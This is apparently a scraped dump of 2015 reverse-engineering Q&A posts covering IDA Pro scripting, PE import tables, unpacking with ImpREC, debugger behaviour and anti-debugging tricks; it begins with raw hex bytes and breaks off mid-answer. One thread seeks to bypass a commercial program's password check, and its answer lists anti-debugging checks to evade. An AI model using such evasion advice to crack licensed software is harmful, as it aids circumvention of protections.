E4 9A 00 00 \n00 10 02 F4 02 28 00 \n00 A0 10 03 D4 F9 00 \n00 00 10 02 F4 02 28 \n00 00 9D 10 03 33 07 \n00 00 00 10 02 F4 02 \n28 00 00 9A 10 03 43 \nE0 00 00 00 10 02 F4 \n02 28 00 00 94 10 03 \nA2 2E 00 00 00 10 02 \nF4 02 28 00 00 91 10 \n03 F2 8B 00 00 00 10 \n02 F4 02 28 00 00 8E \n10 03 11 55 00 00 00 \n10 02 F4 02 28 00 00 \n8B 10 03 41 F0 00 00 \n00 10 02 F4 02 28 00 \n00 88 10 03 71 93 00 \n00 00 10 02 F4 02 28 \n00 00 85 10 03 A0 3E \n00 00 00 10 02 F4 02 \n28 00 00 82 10 03 D0 \nD9 00 00 00 10 02 F4 \n02 28 00 00 7F 10 03 \nEE 6B 00 00 00 10 02 \nF4 02 28 00 00 7D 10 \n03 CE 29 00 00 00 10 \n02 F4 02 28 00 00 7A \n10 03 BE CE 00 00 00 \n10 02 F4 02 28 00 00 \n77 10 03 6F 63 00 00 \n00 10 02 F4 02 28 00 \n00 74 10 03 5F 00 00 \n00 00 10 02 F4 02 28 \n00 00 71 10 03 0F A5 \n00 00 00 10 02 F4 02 \n28 00 00 6E 10 03 EC \n7B 00 00 00 10 02 F4 \n02 28 00 00 6B 10 03 \nBC DE 00 00 00 10 02 \nF4 02 28 00 00 68 10 \n03 8C BD 00 00 00 10 \n02 F4 02 28 00 00 65 \n10 03 5D 10 00 00 00 \n10 02 F4 02 28 00 00 \n62 10 03 2D F7 00 00 \n00 10 02 F4 02 28 00 \n00 5F 10 03 CA 09 00 \n00 00 10 02 F4 02 28 \n00 00 5C 10 03 FA 6A \n00 00 00 10 02 F4 02 \n28 00 00 59 10 03 AA \nCF 00 00 00 10 02 F4 \n02 28 00 00 56 10 03 \n5B 20 00 00 00 10 02 \nF4 02 28 00 00 53 10 \n03 0B 85 00 00 00 10 \n02 F4 02 28 00 00 50 \n10 03 3B E6 00 00 00 \n10 02 F4 02 28 00 00 \n4D 10 03 F8 7A 00 00 \n00 10 02 F4 02 28 00 \n00 4A 10 03 88 9D 00 \n00 00 10 02 F4 02 28 \n00 00 47 10 03 59 30 \n00 00 00 10 02 F4 02 \n28 00 00 44 10 03 69 \n53 00 00 00 10 02 F4 \n02 28 00 00 41 10 03 \n39 F6 00 00 00 10 02 \nF4 02 28 00 00 3E 10 \n03 B6 8E 00 00 00 10 \n02 F4 02 28 00 00 3B \n10 03 E6 2B 00 00 00 \n10 02 F4 02 28 00 00 \n38 10 03 D6 48 00 00 \n00 10 02 F4 02 28 00 \n00 35 10 03 07 E5 00 \n00 00 10 02 F4 02 28 \n00 00 32 10 03 77 02 \n00 00 00 10 02 F4 02 \n28 00 00 2F 10 03 B4 \n9E 00 00 00 10 02 F4 \n02 28 00 00 2C 10 03 \n84 FD 00 00 00 10 02 \nF4 02 28 00 00 2A 10 \n03 E4 3B 00 00 00 10 \n02 F4 02 28 00 00 27 \n10 03 35 96 00 00 00 \n10 02 F4 02 28 00 00 \n24 10 03 05 F5 00 00 \n00 10 02 F4 02 28 00 \n00 21 10 03 55 50 00 \n00 00 10 02 F4 02 28 \n00 00 1E 10 03 92 EC \n00 00 00 10 02 F4 02 \n28 00 00 1B 10 03 C2 \n49 00 00 00 10 02 F4 \n02 28 00 00 18 10 03 \nF2 2A 00 00 00 10 02 \nF4 02 28 00 00 15 10 \n03 23 87 00 00 00 10 \n02 F4 02 28 00 00 12 \n10 03 53 60 00 00 00 \n10 02 F4 02 28 00 00 \n0F 10 03 90 FC 00 00 \n00 10 02 F4 02 28 00 \n00 0C 10 03 A0 9F 00 \n00 00 10 02 F4 02 28 \n00 00 09 10 03 F0 3A \n00 00 00 10 02 F4 02 \n28 00 00 06 10 03 01 \nD5 00 00 00 10 02 F4 \n02 28 00 00 03 10 03 \n51 70 00 00 00 10 02 \nF4 02 28 00 00 00 10 \n03 61 13 00 00 00 10 \n02 F4 02 28 00 00 01 \n10 03 71 32 00 00 00 \n10 02 F4 02 28 00 00 \n00 10 03 61 13 00 00 \n00 10 02 F4 02 28 00 \n00 FE 10 03 6F C2 00 \n00 00 10 02 F4 02 28 \n00 00 FF FF 10 03 7F \nE3 00 00 00 10 02 F4 \n02 28 00 00 01 10 03 \n71 32 00 00 00 10 02 \nF4 02 28 00 00 00 10 \n03 61 13 00 00 00 10 \n02 F4 02 00 00 00 10 \n03 5B 38 00 00 00 10 \n02 F4 02 20 00 00 10 \n03 DD FE\n

\n" }, { "Id": "8564", "CreationDate": "2015-03-26T16:20:07.673", "Body": "

This post might be specific to IDA Pro, so bear that in mind.

\n\n

I'm currently trying to write a plugin for debugging specifically one executable. I know that a certain object in the executable's process exists at 0xAB40C0 (it always exists there). Can I simply write object* obj = (object*)0xAB40C0; and then access the various members of it?

\n", "Title": "During debugging, is the process memory the same as the debugger's memory space?", "Tags": "|ida|debugging|c|", "Answer": "

In the case of linux, debuggers typically use the ptrace API to inspect and modify the process space of the process being debugged. And no, they do not share the address space.

\n\n

As a side note, dynamic binary instrumentation frameworks such as PIN do involve inserting itself into the process space of the binary being instrumented.

\n" }, { "Id": "8570", "CreationDate": "2015-03-27T08:26:43.000", "Body": "

IDA Pro's idaapi.BasicBlock objects returned by idaapi.FlowChart() can be of the following types (see gdl.hpp in the SDK sources):

\n\n
// flow chart block types\nenum fc_block_type_t\n{\n  fcb_normal,    // normal block\n  fcb_indjump,   // block ends with indirect jump\n  fcb_ret,       // return block\n  fcb_cndret,    // conditional return block\n  fcb_noret,     // noreturn block\n  fcb_enoret,    // external noreturn block (does not belong to the function)\n  fcb_extern,    // external normal block\n  fcb_error,     // block passes execution past the function end\n};\n
\n\n

I was able to find examples for all types except fcb_cndret. What does

\n\n
\n

conditional return block

\n
\n\n

mean? Could somebody give an example?

\n", "Title": "IDA basic block type fcb_cndret - what does it mean?", "Tags": "|ida|disassembly|idapython|idapro-sdk|", "Answer": "

Conditional returns are found in some instruction set architectures.

\n

For example, the 8085 has instructions which will action a subroutine return if a status flag is set/clear:

\n
RZ   ... return if Z flag set\nRC   ... return if C flag set\nRNZ  ... return if Z flag clear\n...\n
\n" }, { "Id": "8577", "CreationDate": "2015-03-27T16:01:04.260", "Body": "

Currently I am learning about profiling parallel programs. All the profilers heavily use all kinds of instrumentations but this topic is not well explained. Do you know any good sources from which I could learn about instrumentation (static, binary, dynamic)?

\n", "Title": "Where can I learn about code instrumentation?", "Tags": "|binary-analysis|static-analysis|dynamic-analysis|instrumentation|", "Answer": "

Before jumping straight to interesting articles and sources I'll start by defining the key words, just in case.

\n\n\n\n

Both of these analyses can be applied to a binary file (meaning an executable program), and that's what we call binary analysis.\nOn the other hand, static analysis can be applied on source code as well as binary. Lint, for example, performs static analysis in order to find buggy code constructs.

\n\n

There aren't many detailed references I can cite, rather a set of scientific publications which span the use and benefits of those techniques, along with some interesting algorithms.

\n\n

For static analysis I would recommend this collection of articles : Static Analysis 20th International Symposium, SAS 2013, Seattle, WA, USA, June 20-22, 2012, Proceedings.

\n\n

For dynamic analysis I would recommend you going through the publications around of MAQAO, DynInst, ScoreP, and TAU

\n" }, { "Id": "8582", "CreationDate": "2015-03-28T12:10:34.103", "Body": "

During RCE of a piece of code, I have found this:

\n\n
    loc_40244F:\n    mov eax, [ebx+20h]\n    add ebx, 14h\n    test eax, eax\n    jnz loc_402397\n
\n\n

What I know is that ebx points to the import directory structure of the considered PE file.

\n\n

But when I look at it, I see the following:

\n\n
     Import Directory\n     +0 DWORD   OriginalFirstThunk; \n      4 DWORD   TimeDateStamp;\n      8 DWORD   ForwarderChain; \n      c DWORD   Name;\n     10 DWORD   FirstThunk;\n
\n\n

So, to which location is the [ebx+20h] expression pointing ?\nI hope somebody can help me.

\n\n

best regards,

\n", "Title": "Target of offset into import directory unclear", "Tags": "|assembly|struct|", "Answer": "

If ebx really points to an IMAGE_IMPORT_DESCRIPTOR, then [ebx+20h] points to the name field of the next IMAGE_IMPORT_DESCRIPTOR.

\n\n
mov eax, [ebx+20h] ;  0x20 = 0x14 + 0xc \n
\n\n

where 0x14 is sizeof(IMAGE_IMPORT_DESCRIPTOR) and 0x0c is offsetof(IMAGE_IMPORT_DESCRIPTOR, Name).

\n\n

Also, remember that the last IMAGE_IMPORT_DESCRIPTOR is always an IMAGE_IMPORT_DESCRIPTOR with all fields set to 0 (according to the official PE documentation):

\n\n
\n

The last directory entry is empty (filled with null values), which\n indicates the end of the directory table

\n
\n\n

As noted by @peterferrie, if the Name field is NULL/0 then the other field are meaningless so your code is checking if the next IMAGE_IMPORT_DESCRIPTOR is the last, so it can stop processing the array of IMAGE_IMPORT_DESCRIPTOR.

\n\n

You could surely test this by checking the value in eax and comparing it to the value in an hex editor or a PE browsing tool.

\n" }, { "Id": "8584", "CreationDate": "2015-03-28T17:13:17.470", "Body": "

I am trying to unpack a DLL and fix the import tables with ImpRec. However, I am stuck with this error. Following is what I have tried.

\n\n
    \n
  1. Modified the flag in its PE header so that windows loads the file as an exe, not a dll.
    2. \n
  2. Loaded to Immunity Debugger and found the real entry point(Entry point of unpacked binary)
    3. \n
  3. Dumped the the binary at this entry point.
    4. \n
  4. Now I opened ImpREC to fix the import table of the of the dumped DLL. However, in ImpREC the base memory displayed is 7100000. When I give \"068BA2A0\" as entry point, ImpRec complaints invalid OEP!. I dont understand how the base address of the debugged process is \"7100000\". I suspect this could be the problem.
    5. \n
\n\n

\"enter

\n\n

Why is this error? Any pointers to fix it?

\n", "Title": "Fixing import table of unpacked DLL with ImpREC : ImpRec throws \"invalid OEP!\" error", "Tags": "|dll|unpacking|immunity-debugger|dumping|import-reconstruction|", "Answer": "

I think this is too late but let's reply though.\nBy default ImpREC has \"Use PE Header From Disk\" enabled. Which means it will NOT use the relocated DLL imagebase. 2 options :

\n\n\n\n

-> First choice is the best for your case.

\n\n

Explaination : the reason \"Use PE Header From Disk\" is enabled by default, comes from protector which destroys the header in memory so it's best to rely on disk but it's bad for DLL.

\n" }, { "Id": "8589", "CreationDate": "2015-03-29T14:51:00.080", "Body": "

During the analysis of a piece of code, I have seen that a process is created in a suspended state. The process had one thread. Then they are changing the start address of that thread. After doing that, the thread is started with ResumeThread(). Later, it closes the handle to the process using CloseHandle().

\n\n

So, my question would be : Is it possible that the thread with the manipulated start address is still running after we close the handle to the corresponding process? Is the thread still running although the process to which it belongs is closed because of the changed starting address or will the thread also closed automatically after CloseHandle(processhandle) ?

\n\n

Best regards,

\n", "Title": "Running thread without process - special case", "Tags": "|process|", "Answer": "
\n

Is it possible that the thread with the manipulated start address is\n still running after we close the handle to the corresponding process?\n Is the thread still running although the process to which it belongs\n is closed because of the changed starting address or will the thread\n also closed automatically after CloseHandle(processhandle) ?

\n
\n\n

Yes. From the official CloseHandle() documentation:

\n\n

\"Closing a thread handle does not terminate the associated thread or remove the thread object. Closing a process handle does not terminate the associated process or remove the process object.\"

\n" }, { "Id": "8590", "CreationDate": "2015-03-29T15:24:53.180", "Body": "

We all know that in typical programs, there exist some references.

\n\n

\"enter

\n\n

When compiling, linker will translate all the memory references into concrete memory addresses during the symbol relocation step. And by doing some quick experiments (IDA-Pro 6.4), I notice that IDA-Pro can help to lift these memory addresses back into symbols.

\n\n

However, I found that the symbolization functionality of IDA-Pro can be mislead by some cases. So what I am interested is to calculate how many references have been recovered by IDA-Pro. I am asking that is there anyway to obtain the information of \"how many memory references are recovered by IDA-Pro?\"

\n\n

Thanks @Jason a lot for his answer, but what I am trying to do is not collect all the labels. Here is an example:

\n\n

\"enter

\n\n

Please pay attention to the symbol sub_80484AE in address 0x804a020. Note that the 4 byte data 0x08, 0x04, 0x84, 0xae in porocessed binary are considered as a symbol, as it is equal to the beginning address of function sub_80484AE. This is true. However, as no instruction refers to the address 0x804A020, so there is no name in address 0x804a020.

\n\n

What I want to collect is all the symbols with its corresponding address, for example, in the above case, I need to collect this

\n\n
0x804a018 : sub_804847b\n0x804a01dc : _strchr\n0x804a020 : sub_80484AE\n
\n\n

Am I clear enough? I really appreciate if anyone can give me some help! Thank you a lot!!

\n\n

----------------------------------------------- update ---------------------------------------

\n\n

Am I still not clear enough?

\n\n

Let me put it in this way. Can I obtain all the symbol information which used to be resolved by linker? Say, in the picture I updated, during compiling linker resolved three symbols, at memory address 0x804a018, 0x804a01dc, 0x804a020. IDA-Pro recovers some of these information. So I want to collect all the IDA recovered symbol information (this information could be function name, or it could be an entry of jump table, or it could be a jump destination, as I draw in the picture).

\n\n

Note that I want to recover the information in a format that each resolved symbol together with the memory address. For example in the picture, it should be:

\n\n
0x804a018 : sub_804847b\n0x804a01dc : _strchr\n0x804a020 : sub_80484AE\n
\n\n

I am thinking to traverse all the memory address of a binary, and check each the oprend of instruction (or content if it is in the data section), to see whether it is a recovered symbol or not. If so, I will store this symbol together with this instruction (or data)'s memory address.

\n\n

But basically how to check whether a oprend in a instruction is a symbol?

\n", "Title": "How can I obtain the data of how many memory references are symbolized by IDA-Pro?", "Tags": "|ida|symbols|", "Answer": "

If I understand your question correctly, you're asking how many addresses have names.

\n\n

For example, in the following snippet, two of the addresses in the snippet have names (loc_4385E4 and dword_4385F8), since both are cross-referenced from other addresses:

\n\n
.text:004385E4 loc_4385E4:                             ; CODE XREF: sub_4254E0+1C0j\n.text:004385E4                                         ; CODE XREF: sub_4254E0+1E6j\n.text:004385E4                 push    ecx\n.text:004385E5                 push    ecx\n.text:004385E6                 push    0Eh\n.text:004385E8                 pop     edx\n.text:004385E9                 mov     ecx, offset dword_438618\n.text:004385EE                 call    sub_4421A7\n.text:004385F3                 jmp     loc_4256A6\n.text:004385F3 ; END OF FUNCTION CHUNK FOR sub_4254E0\n.text:004385F3 ; ---------------------------------------------------------------------------\n.text:004385F8 dword_4385F8    dd 1000000Ah, 80204h, 10000h, 80010000h\n.text:004385F8                                         ; DATA XREF: sub_4254E0+13092o\n
\n\n

You can use the IDC script below to count all named addresses in your disassembly:

\n\n
auto ea;\nauto names = 0;\n\nfor (ea = BeginEA(); ea != BADADDR; ea = NextNotTail(ea))\n{\n    if (Name(ea) != \"\")\n    {\n        names++;\n    }\n}\n\nMessage(\"%d named addresses found.\\n\", names);\n
\n\n

\u200b

\n\n

Edit

\n\n

The change you made to your original question now makes it sounds like you want to capture all function names. To do this, open the Functions window (in the menubar: View \u2192 Open subviews \u2192 Functions), right-click in the Functions window, and choose Copy all. You can now paste the list of function names into a text editor or spreadsheet.

\n" }, { "Id": "8593", "CreationDate": "2015-03-29T17:10:07.170", "Body": "

I work on the reverse engineering of the ChessBase archive (.cbv).

\n\n

I found the general structure of the file and can already decompress some files.

\n\n

You can see my current work here.

\n\n

However, some .cbv files that are bigger seems to use a second compression algorithm.

\n\n

I was able to find the first compression algorithm by debugging the ChessBase Reader 2013 software, but I cannot make sense of the second compression algorithm.

\n\n

I tried some tools like signsrch to find out what algorithm was used without any luck: it seems to be a custom algorithm.

\n\n

Here is a file that I am able to partly decompress with my tool (my tool will print What to do? when it detects that the unknown compression algorith was used).

\n\n

Do you have any idea of what compression algorithm is used?

\n\n

If not, do you have any way of finding it by looking at the compressed file?

\n\n

I am able to create archives so I can have files that are both compressed and not: I wonder if there is any way to find a compression pattern in such a situation.

\n", "Title": "Unknown decompression algorithm", "Tags": "|decompress|", "Answer": "

After downloading ChessBase Reader and playing with ProcMon a bit to find the function that reads the archive and writes the data file, i loaded up the whole thing in IDA to analyze it. The data is Huffman-coded.

\n\n

Each data block has the following structure. Note that Huffman compression works with bits, not bytes, so each size in the following table is in bits as well. The block length is 16 bits, or 2 bytes, for example.

\n\n
+----------------------------------------------+\n|                                              |\n|16 bits - uncompressed block length (len)     |\n|                                              |\n+-----------+----------------------------------+\n|           |                                  |\n|Repeat     |  4 bits - length of entry (n)    |\n|256        |                                  |\n|times      +----------------------------------+\n|           |                                  |\n|one entry  |  n bits - tree left/right        |\n|per byte   |  information for this byte       |\n|(0-255)    |                                  |\n|           |                                  |\n+-----------+----------------------------------+\n|                                              |\n| Huffman encoded bit sequences. The number of |\n| bits isn't stored anywhere, but the number   |\n| of sequences, which is equal to the number   |\n| of output bytes, is the block length (len)   |\n|                                              |\n+----------------------------------------------+\n
\n\n

Assuming the word \"foobar\" was coded in this scheme, this would possibly result in (i made up the bit values for the characters):

\n\n
+----------------+\n|Huffman code for|\n|character   is  |\n+--------+-------+\n|        |       |\n| o      |   0   |\n| f      |   100 |\n| b      |   101 |\n| a      |   110 |\n| r      |   111 |\n|        |       |\n+--------+-------+\n
\n\n

This would result in the word foobar being coded as\n100 0 0 101 110 111. The length is 6 bytes, or 0000 0000 0000 0110 in 16 bits.

\n\n

The bitarray for foobar, formatted to the above table, would read

\n\n
0000 0000 0000 0110                      (16 bit output length)\n.....    array index   0 for byte '\\0'\n.....    array index   1 for byte '\\1'\n.....\n0011 110 array index  97 for byte 'a'    (3 bits)\n0011 101 array index  98 for byte 'b'    (3 bits)\n.....\n0011 100 array index 102 for byte 'f'    (3 bits)\n.....\n0001 0   array index 111 for byte 'o'    (1 bit)\n.....\n0011 101 array index 114 for byte 'r'    (3 bits)\n.....                                    remaining bit combos - 255\n\n100 0 0 101 110 111                      foobar text\n
\n\n

The implementation builds a binary tree from the code table. When it reads the data, it starts at the root of the tree; each bit moves down the tree, to the left or right, depending on the next bit value. When a leaf is reached, the corresponding byte is being output. This repeats until the length of the output stream is reached.

\n\n

The related functions from the binary are these:

\n\n

BECAA0: decodes the archive data. Reads 16 bits for the length; then reads the encoding table into two arrays at offsets 080A (bits) and 0E10 (bit lengths) within the decoder class. After this, call BEC930 to decode the data bytes.

\n\n

BEBF30: One parameter (number of bits), gets this many bits from the input array. At the end of the function, the word at offset 1014 has these bits.

\n\n

BEBAD0: Builds the tree from the arrays at 080A and 0E10

\n\n

BEC930: Calls BEBAD0 to build the tree, then reads the remaining bits from the input stream. Walks the tree for each bit; emits a byte when a leaf is found. At the end, calls BEBA90 to destroy the tree.

\n\n

BEBA90: Recursively delete a node by deleting the left and right children, the the node itself.

\n\n

I don't think debugging the writer would be easier if you want to read the files; compression has a lot of logic and data structures, and knowing how 'one way' works doesn't neccesarily help you with the other way round. In this case, luckily, its a well known algorithm, but if the algorithm is unknown it can be quite hard to compress effectively if you just know how to decompress.

\n" }, { "Id": "8597", "CreationDate": "2015-03-30T12:34:20.613", "Body": "

I have some questions about how to reach an address by bypassing a few hundred lines. Assume that we have the following scenario:

\n\n
                   + -----------------------+\n          004019EF |                        |   <----- we are here\n                   |   content of function  |\n                   |   004019EF             |\n                   |                        |\n                   |                        |\n                   +------------------------+\n                   |                        |\n                   |     this area contains |\n                   |     lines which        |\n                   |     I want to bypass   |\n                   |     quickly            |\n                   |                        |\n                   +------------------------+\n         00401E1F  |                        |     <-- we want to go here\n                   |     content which I    |\n                   |     want to analyze    |\n                   |                        |\n                   |                        |\n                   +------------------------+\n
\n\n

So, the situation is that I am for example at 004019EF and then I figured \nout that the location at 00401E1F also seems to be important. And I decide to go there. For that reason, I click on Ctrl+G, type the target address and\nset a breakpoint(clicking F2) at 00401E1F. Then I let it run. But the program doesn't reach the place. It terminates the process and ends at a location with RETN.\nSo, I started the process again. But this time, I step manually from line 004019EF to 00401E1F. On the way, I eliminate all the lines/instructions which leads to a termination by replacing them with a NOP instruction.\nAt the end, I reach the address 00401E1F.

\n\n

My question would be :

\n\n

When I replace instructions with a NOP or change the flags of jump-instructions to modify the execution flow of the programm, then will these modifications be a problem for the content of 00401E1F ?

\n\n

I mean can I say the following :

\n\n

\"These instructions causing problems, so deleting them with NOP would be unproblematic\"

\n\n

OR

\n\n

Am I going to miss some results of the area between 004019EF and 00401E1F which could be important for the content of 00401E1F ? \nIf yes, then:

\n\n

Is there another way to bypass that lines to reach the target address without patching/changing lines or instructions?

\n", "Title": "Reaching an address with ollydbg", "Tags": "|ollydbg|", "Answer": "

What Jason said. Consider this C code:

\n\n
int size;\nint nelem=1;\nstruct whatever *data;\nif (debugger_is_running)\n    nelem-=2;                 // pass an unreasonable value to malloc\nsize=sizeof (struct whatever)*nelem;\nif ((data=malloc(size))==NULL)\n    abort_program(\"No memory\");\n......\n// use data here\n
\n\n

It's the nelems-=2 instruction you want to patch out. If you just nop out the call to abort_program, your data will still be a NULL pointer and cause the program to crash whenever you use it, much later.

\n\n

You really need to analyze everything between your code blocks, find out how the program detects the debugger, and change that piece of code.

\n" }, { "Id": "8598", "CreationDate": "2015-03-30T12:35:34.110", "Body": "

I used some code to read the process memory using the MEMORY_BASE_INFORMATION a little while back using the information provided here. However, when I list out the regions in memory, only the pages with RW pages seem to be listed out. More importantly, none of the pages with executable permissions are listed out. How could I rectify this?

\n\n

Could it have something to do with the privilege at which the process runs?

\n\n

I've attached a screenshot of the process memory in Ollydbg and what is printed out using the source below :-

\n\n
int main() {\n    HANDLE process = GetCurrentProcess();\n\n    MEMORY_BASIC_INFORMATION info;\n    unsigned char *p = NULL;\n\n    for ( p = NULL;\n          VirtualQueryEx(process, p, &info, sizeof(info)) == sizeof(info);\n          p += info.RegionSize )\n    {\n        if (info.State == MEM_COMMIT && (info.Type == MEM_MAPPED || info.Type == MEM_PRIVATE))\n               printf(\"%08x %08x %08x\\n\", info.BaseAddress, info.RegionSize, info.Protect);\n    }\n}\n
\n\n

\"Output\"\n\"Ollydbg\"

\n", "Title": "Reading the process memory yields different results", "Tags": "|windows|ollydbg|process|virtual-memory|pages|", "Answer": "

OllyDbg shows memory regions of all types, whereas your code doesn't show MEM_IMAGE regions.

\n\n

Replace if ((info.State == MEM_COMMIT) && ((info.Type & MEM_MAPPED) || (info.Type & MEM_PRIVATE))) with just if (info.State == MEM_COMMIT).

\n" }, { "Id": "8607", "CreationDate": "2015-03-31T15:31:43.430", "Body": "

i am analyzing a piece of code in which the main thread does the following steps:

\n\n

First, it calls CreateProcess() to create a a process in suspended state. Then it changes the starting address of the thread by using a combination of GetThreadContext & SetThreadContext. The new start address of the thread is now 00401E1D. And at the end, it calls ResumeThread() start the thread.

\n\n

So, what I did was: I set a BP at ResumeThread(), let it run, after hitting the BP I step over the ResumeThread()-function and open the window where all threads are listed by clicking on the big \"T\"-button in Ollydbg.

\n\n

But there is only the main thread, not the newly started thread. \nAnd now I have a couple of questions:

\n\n
 1st question: Why it is not in the list ?\n\n 2nd question: How can I find it?\n\n 3th question: \n In the main thread, I can not step to 00401E1D \n (starting address of the new thread) because ollydbg somehow \n  terminates itself. Maybe there is some anti-debugging tricks or \n  things like that. I do not know, because I did not analyze it yet\n  in detail. So, the question is: Is there a way to analyze the \n  new thread starting at 00401E1D in a separate ollydbg-session ?\n  Is it possible ?\n
\n\n

best regards,

\n", "Title": "Working with multi-threaded program but can not find created thread", "Tags": "|ollydbg|thread|process|", "Answer": "

In addition to creating the child process, CreateProcess() also causes the creation of the child process's primary thread. Your post makes it sound like the calls to GetThreadContext(), SetThreadContext(), and ResumeThread() all act on that primary thread.

\n\n
\n

1st question: Why it is not in the list ?

\n
\n\n

As you said in your post, you are seeing the process's main (primary) thread, on which the *Thread*() API functions above acted. No additional threads are created so you shouldn't expect to see additional threads in OllyDbg's view.

\n\n
\n

2nd question: How can I find it?

\n
\n\n

N/A

\n\n
\n

Is there a way to analyze the new thread starting at 00401E1D in a separate ollydbg-session ?

\n
\n\n

Yes -- check the \"Debug child processes\" checkbox in OllyDbg's options:

\n\n

\"OllyDbg\"

\n" }, { "Id": "8612", "CreationDate": "2015-03-31T21:08:14.277", "Body": "

After solving few crackmes I tried to take one step further and move on \"real life\" reversing tasks, targeting a known win7 program's password check feature.

\n\n

The program in question obviously doesn't store interesting strings in memory, so I tried another approach, that so far worked well in test-scenarios and in crackmes. The prompt for the password itself uses a simple edit control, so I instantly looked for executable modules -> USER32.dll and found the GetWindowTextW offset (I know it may be using alternative ways to retrieve text, but that was not the problem)\nSetting a breakpoint there and trying to f9-run the program causes it to crash.

\n\n

I'm new in reversing and debuggers, and I don't really know what may be causing the issue, or where should I look to solve it.

\n\n

PS: could this be a good approach for the task ?

\n", "Title": "Program crashes after resuming from breakpoint", "Tags": "|windows|assembly|debuggers|", "Answer": "

Basically, your approach is a good first approach. Programs used to be easily crackable using it 10 years ago. But times have changed, and many programs try to detect if they are being cracked and implement countermeasures.

\n\n

There's lots of things that could be happening. The program might use IsDebuggerPresent(). It may use other methods to detect a debugger. It might generate a checksum over its own memory and check that against a known value (setting the breakpoint modifies the instruction to INT 3 unless you use a hardware/memory breakpoint, but if you put the breakpoint on a function in user.dll, you won't change the executable's checksum). The program might check the functions it calls if one of them begins with an INT 3 instruction (but i'd assume this not to be the case for a mere GetWindowTextW). If the program crashes on a resume F9, not the first run-F9, it might be timing how long checking the password takes, and if it's more than 0.1 seconds, it assumes it was interrupted and crash.

\n\n

There's literally dozens of possibilities, and you'd have to trace your way through the program to find out which is used - this is where experience kicks in.

\n\n

You could try if the program works if you just load and run it - if it doesn't, it detects your debugger. There are stealth plugins to ollydbg that you might want to try.

\n\n

A different approach that has sometimes worked for me is running Process Monitor to see where the program accesses its (file or registry-based) registration key; check the stack to see which function is calling that access, and statically analyze the program from there.

\n" }, { "Id": "8622", "CreationDate": "2015-04-02T05:52:07.683", "Body": "

Yesterday i noticed a nice output from dbg while going through a write up on the internet. As am new to dbg i googled a lot as i wanted to make dbg work similar for me. As seen below this customisation would help me a lot with my work with all the data displayed instantaneously. I tried voltron from the below link but was unable to get it working with many errors. https://github.com/snare/voltron

\n\n

Is there any extension other than voltron so that i can get the output as shown in the link below? Would editing the .dbginit file help in any way?

\n\n

https://i.stack.imgur.com/Pg9JH.jpg

\n\n

TIA

\n\n

Regards

\n", "Title": "Custom gdb output", "Tags": "|debuggers|linux|gdb|", "Answer": "

what you show looks a lot like PEDA (PEDA Github repo) a Python extension to GDB. Although PEDA is very good, it looks like it is not being actively developed anymore.

\n\n

A newer incarnation of this idea is GEF (GDB Enhanced Features) (GEF Github repo). It is written in Python as well and it has the advantage of bein multi-architecture (Intel, ARM, MIPS, etc.)

\n\n

Both require a minimal change in your .gdbinit to work, no tedious installation, dependencies or anything like that.

\n\n

Have fun debugging!

\n" }, { "Id": "8623", "CreationDate": "2015-04-02T06:36:34.460", "Body": "

According to what I know :WinDbg uses debugging information (pdb/symbol files) for debugging.So ,for example say I get a unknown exe (malicious) can I debug it since I'll not be having its .pdb. Is WinDbg best suited to analyze memory dumps and crash issues only?

\n\n

Ollydbg being a ring 3 debugger is good to analyze/debug malicious exe's but doens't support unknown dlls(there is loaddll but you have to know which function the dll exports and there parameters) and rootkits(sys files).

\n\n

So If I have a dll and a .sys file how can I debug it using olly or winDbg?

\n\n

Note:I am a noob I may be wrong in what I know.I don't have the resources to buy IDAPro :-).

\n", "Title": "When to use Windbg and Ollydbg?", "Tags": "|debugging|windbg|vulnerability-analysis|malware|", "Answer": "
\n

WinDbg uses debugging information (pdb/symbol files) for debugging. So ,for example say I get a unknown exe (malicious) can I debug it since I'll not be having its .pdb

\n
\n\n

Yes. Symbols are one of Windbg's main strength, but it can also debug anything without symbolic information.

\n\n
\n

Is WinDbg best suited to analyze memory dumps and crash issues only?

\n
\n\n

Once again, it can do that, but that's not its sole use.

\n\n
\n

Ollydbg being a ring 3 debugger is good to analyze/debug malicious\n exe's but doens't support unknown dlls(there is loaddll but you have\n to know which function the dll exports and there parameters)

\n
\n\n

If you need to analyse a DLL, you'll need a program to load it and then debug this program, thus you can't debug a DLL by itself (DLLs, as their name imply are dynamic libraries used by a main program). That's a system requirement.

\n\n
\n

and rootkits(sys files).

\n
\n\n

Yes, you'll need a ring0 debugger.

\n\n

You can also mix static (disassembler) and runtime (debugger) analysis for your DLL and driver (*.sys) file. Hex rays has a free version of IDA.

\n\n
\n\n

Both debuggers can be used for Ring3 (user-land) debugging, and only Windbg can do Ring0 (kernel-land) but they have their own strengths and weaknesses.

\n\n

From my point of view (I'm using both a lot):

\n\n\n\n

They both have a native plugin system (C / C++); windbg have a scripting language which is a real PITA (but pykd [Windbg scripting in python] can alleviate this problem).

\n\n

Note that windbg can't do in-place live ring0 debugging (\u00e0 la Softice or Syser) except with \"livekd\" (but this works on a system snpashot, not live): you need a host system (the debugger) and another machine which will be the debuggee (either a virtual machine or another physical machine).

\n" }, { "Id": "8628", "CreationDate": "2015-04-03T02:17:36.580", "Body": "

I want to collect all the IDA recovered symbol information in data sections (this information could be function name, or it could be an entry of jump table, or it could be a reference to other data sections).

\n\n

Here is an example of data sections from a IDA disassembled binary.

\n\n

\"enter

\n\n

Basically there are three recovered symbols in data section, and I want to collect these information in a format like this:

\n\n
0x804a018 : sub_804847b\n0x804a01dc : _strchr\n0x804a020 : sub_80484AE\n
\n\n

I am thinking to traverse all the memory address of a binary's data sections, and check the content of each address, to see whether it is a recovered symbol.

\n\n

But basically how to read a suspicious symbol when iterating addresses? I read the idc interface, but I just cannot find any the correct api to do so. Could anyone help me on this issue? I appreciate that.

\n\n

------------------------ explain ------------------------

\n\n

I didn't get an answer in that post, in addition, I think what I explained in that post is somehow misleading.

\n", "Title": "How to get the recovered memory references in IDA-Pro?", "Tags": "|ida|idapython|symbols|", "Answer": "

As far as I understood your question, you will need the following IDAPython apis:

\n\n\n\n

All the mentioned IDAPython apis has the similar things in idc

\n\n

So, for your specific example you'll get the desired output as follows (IDAPython):

\n\n
import idc\naddresses = [0x804a018, 0x804a01dc ,0x804a020 ]\n\nfor a in addresses:\n    print hex(a),\" : \", idc.Name(idc.Dword(a))\n
\n\n

Filtering the data in the .data section is completely different story.

\n\n

For example you can do the following (it is not 100% correct):

\n\n
